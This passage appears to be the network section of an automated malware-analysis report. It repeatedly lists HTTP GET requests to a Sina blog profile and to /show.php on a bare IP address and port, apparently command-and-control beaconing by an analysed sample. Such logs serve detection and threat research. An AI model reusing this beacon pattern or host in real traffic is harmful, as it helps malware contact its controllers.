Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
